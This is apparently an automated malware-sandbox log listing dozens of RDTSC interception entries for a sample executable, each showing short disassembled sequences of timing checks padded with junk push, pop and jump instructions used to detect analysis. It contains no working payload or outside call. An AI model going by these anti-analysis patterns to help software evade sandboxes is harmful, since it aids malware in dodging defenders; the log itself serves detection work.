Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB35F6 second address: BB35FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB43DA second address: BB43DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB549C second address: BB54A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB54A0 second address: BB54A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB54A4 second address: BB54B0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push esi 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB54B0 second address: BB54B4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB54B4 second address: BB54F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 nop 0x00000008 jmp 00007F62F8C4B1A6h 0x0000000d push 00000000h 0x0000000f adc ebx, 47FA0521h 0x00000015 js 00007F62F8C4B19Ah 0x0000001b mov bx, 6828h 0x0000001f push 00000000h 0x00000021 mov bx, 39F5h 0x00000025 xchg eax, esi 0x00000026 push eax 0x00000027 push edx 0x00000028 js 00007F62F8C4B198h 0x0000002e push eax 0x0000002f pop eax 0x00000030 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB54F5 second address: BB5511 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jmp 00007F62F943B87Bh 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e je 00007F62F943B878h 0x00000014 push ebx 0x00000015 pop ebx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB65E7 second address: BB65F4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop eax 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB65F4 second address: BB65FA instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB75B5 second address: BB75BF instructions: 0x00000000 rdtsc 0x00000002 jl 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB75BF second address: BB75C9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB85F0 second address: BB85F4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BB85F4 second address: BB85FA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BBAF36 second address: BBAF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop esi 0x00000007 jmp 00007F62F8C4B19Ch 0x0000000c pop esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F62F8C4B1A6h 0x00000014 jmp 00007F62F8C4B19Eh 0x00000019 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC1D95 second address: BC1D9A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC1568 second address: BC1584 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC1584 second address: BC1588 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC17DD second address: BC17E3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC17E3 second address: BC17E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC17E7 second address: BC181B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Fh 0x00000007 jmp 00007F62F8C4B19Eh 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F62F8C4B196h 0x00000015 jp 00007F62F8C4B196h 0x0000001b pushad 0x0000001c popad 0x0000001d popad 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5946 second address: BC594C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC594C second address: BC5965 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A5h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5A33 second address: BC5A6E instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push edi 0x00000004 pop edi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b jmp 00007F62F943B87Eh 0x00000010 jmp 00007F62F943B882h 0x00000015 popad 0x00000016 mov dword ptr [esp+04h], eax 0x0000001a pushad 0x0000001b pushad 0x0000001c push eax 0x0000001d pop eax 0x0000001e pushad 0x0000001f popad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push edx 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5B49 second address: BC5B4E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5B4E second address: BC5B54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5B54 second address: BC5B75 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f je 00007F62F8C4B1A2h 0x00000015 jmp 00007F62F8C4B19Ch 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5B75 second address: BC5B86 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 push esi 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5B86 second address: BC5BAF instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 mov eax, dword ptr [eax] 0x00000009 jmp 00007F62F8C4B1A2h 0x0000000e mov dword ptr [esp+04h], eax 0x00000012 push eax 0x00000013 push edx 0x00000014 je 00007F62F8C4B19Ch 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5BAF second address: BC5BB3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC5BB3 second address: BC5BBD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jns 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B57F48 second address: B57F4C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B57F4C second address: B57F55 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BC8C8E second address: BC8CBF instructions: 0x00000000 rdtsc 0x00000002 jp 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jnc 00007F62F943B887h 0x00000010 push edx 0x00000011 pushad 0x00000012 push esi 0x00000013 pop esi 0x00000014 jg 00007F62F943B876h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d push edx 0x0000001e push eax 0x0000001f push edx 0x00000020 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCD651 second address: BCD655 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCD655 second address: BCD66C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 jmp 00007F62F943B87Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCD66C second address: BCD67B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007F62F8C4B196h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCDCBC second address: BCDCC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCDF7F second address: BCDFA7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F62F8C4B1A8h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d js 00007F62F8C4B196h 0x00000013 push edi 0x00000014 pop edi 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCDFA7 second address: BCDFB1 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCDFB1 second address: BCDFB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCDFB5 second address: BCDFBB instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCE23B second address: BCE256 instructions: 0x00000000 rdtsc 0x00000002 js 00007F62F8C4B196h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jmp 00007F62F8C4B19Ah 0x00000010 pop edi 0x00000011 push ecx 0x00000012 pushad 0x00000013 popad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCE3B1 second address: BCE3C2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B87Bh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCE3C2 second address: BCE3D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F62F8C4B19Eh 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BCE542 second address: BCE557 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 ja 00007F62F943B876h 0x0000000c popad 0x0000000d jne 00007F62F943B87Ch 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD73E9 second address: BD73EE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD73EE second address: BD73F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD61E2 second address: BD61E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD61E9 second address: BD61FA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F62F943B87Ah 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD6BCD second address: BD6BE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F8C4B19Ah 0x00000009 popad 0x0000000a pushad 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BD70FD second address: BD7103 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: B4F989 second address: B4F98D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA44BE second address: BA44DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B889h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA44DC second address: BA44F0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F62F8C4B1A0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4CD6 second address: BA4CFE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 mov dword ptr [esp], esi 0x0000000a add dword ptr [ebp+122D1C33h], esi 0x00000010 nop 0x00000011 pushad 0x00000012 push edx 0x00000013 jno 00007F62F943B876h 0x00000019 pop edx 0x0000001a push eax 0x0000001b pushad 0x0000001c popad 0x0000001d pop eax 0x0000001e popad 0x0000001f push eax 0x00000020 push eax 0x00000021 push edx 0x00000022 pushad 0x00000023 pushad 0x00000024 popad 0x00000025 pushad 0x00000026 popad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4CFE second address: BA4D03 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4DDB second address: BA4E17 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B880h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007F62F943B884h 0x0000000f mov eax, dword ptr [esp+04h] 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F62F943B87Dh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E17 second address: BA4E4C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F8C4B19Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c jmp 00007F62F8C4B19Ch 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F62F8C4B1A2h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E4C second address: BA4E6E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B883h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a mov dword ptr [esp+04h], eax 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E6E second address: BA4E72 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E72 second address: BA4E76 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E76 second address: BA4E7C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4E7C second address: BA4E86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnl 00007F62F943B876h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4F1A second address: BA4F1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA4F1E second address: BA4F5B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F62F943B886h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d jmp 00007F62F943B880h 0x00000012 jmp 00007F62F943B87Eh 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5079 second address: BA5083 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jbe 00007F62F8C4B196h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5083 second address: BA50DE instructions: 0x00000000 rdtsc 0x00000002 jo 00007F62F943B876h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007F62F943B878h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 00000016h 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 mov edx, dword ptr [ebp+122D3764h] 0x0000002d push 00000004h 0x0000002f push esi 0x00000030 or dword ptr [ebp+122D300Fh], eax 0x00000036 pop edi 0x00000037 nop 0x00000038 jnl 00007F62F943B884h 0x0000003e push eax 0x0000003f push eax 0x00000040 push edx 0x00000041 push eax 0x00000042 push edx 0x00000043 jnl 00007F62F943B876h 0x00000049 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA50DE second address: BA50E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA50E4 second address: BA50EF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jne 00007F62F943B876h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA549D second address: BA54A1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA54A1 second address: BA54AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5931 second address: BA5943 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jng 00007F62F8C4B19Ch 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5943 second address: BA5947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA5947 second address: BA59E7 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F62F8C4B198h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a nop 0x0000000b push esi 0x0000000c jmp 00007F62F8C4B1A9h 0x00000011 pop ecx 0x00000012 lea eax, dword ptr [ebp+124902B0h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007F62F8C4B198h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000019h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov dword ptr [ebp+122D3314h], edx 0x00000038 push eax 0x00000039 jmp 00007F62F8C4B1A2h 0x0000003e mov dword ptr [esp], eax 0x00000041 push edx 0x00000042 movzx edx, dx 0x00000045 pop ecx 0x00000046 lea eax, dword ptr [ebp+1249026Ch] 0x0000004c push 00000000h 0x0000004e push ebx 0x0000004f call 00007F62F8C4B198h 0x00000054 pop ebx 0x00000055 mov dword ptr [esp+04h], ebx 0x00000059 add dword ptr [esp+04h], 00000016h 0x00000061 inc ebx 0x00000062 push ebx 0x00000063 ret 0x00000064 pop ebx 0x00000065 ret 0x00000066 cld 0x00000067 mov edx, dword ptr [ebp+122D1FC0h] 0x0000006d push eax 0x0000006e pushad 0x0000006f push eax 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BA59E7 second address: BA59F1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB1AF second address: BDB1B3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB1B3 second address: BDB1B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB1B9 second address: BDB1C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB1C4 second address: BDB1DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 popad 0x00000006 pushad 0x00000007 jnc 00007F62F943B878h 0x0000000d push eax 0x0000000e push edx 0x0000000f jnp 00007F62F943B876h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB5B3 second address: BDB5B9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDB5B9 second address: BDB5E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F62F943B882h 0x00000009 popad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d push esi 0x0000000e pop esi 0x0000000f pop ecx 0x00000010 pop eax 0x00000011 push eax 0x00000012 push edx 0x00000013 jnp 00007F62F943B87Eh 0x00000019 jg 00007F62F943B876h 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDF4CC second address: BDF4DE instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jno 00007F62F8C4B196h 0x00000010 push eax 0x00000011 pop eax 0x00000012 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BDF4DE second address: BDF4E2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE504F second address: BE5055 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\Bire1g8ahY.exe RDTSC instruction interceptor: First address: BE3A20 second address: BE3A24 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
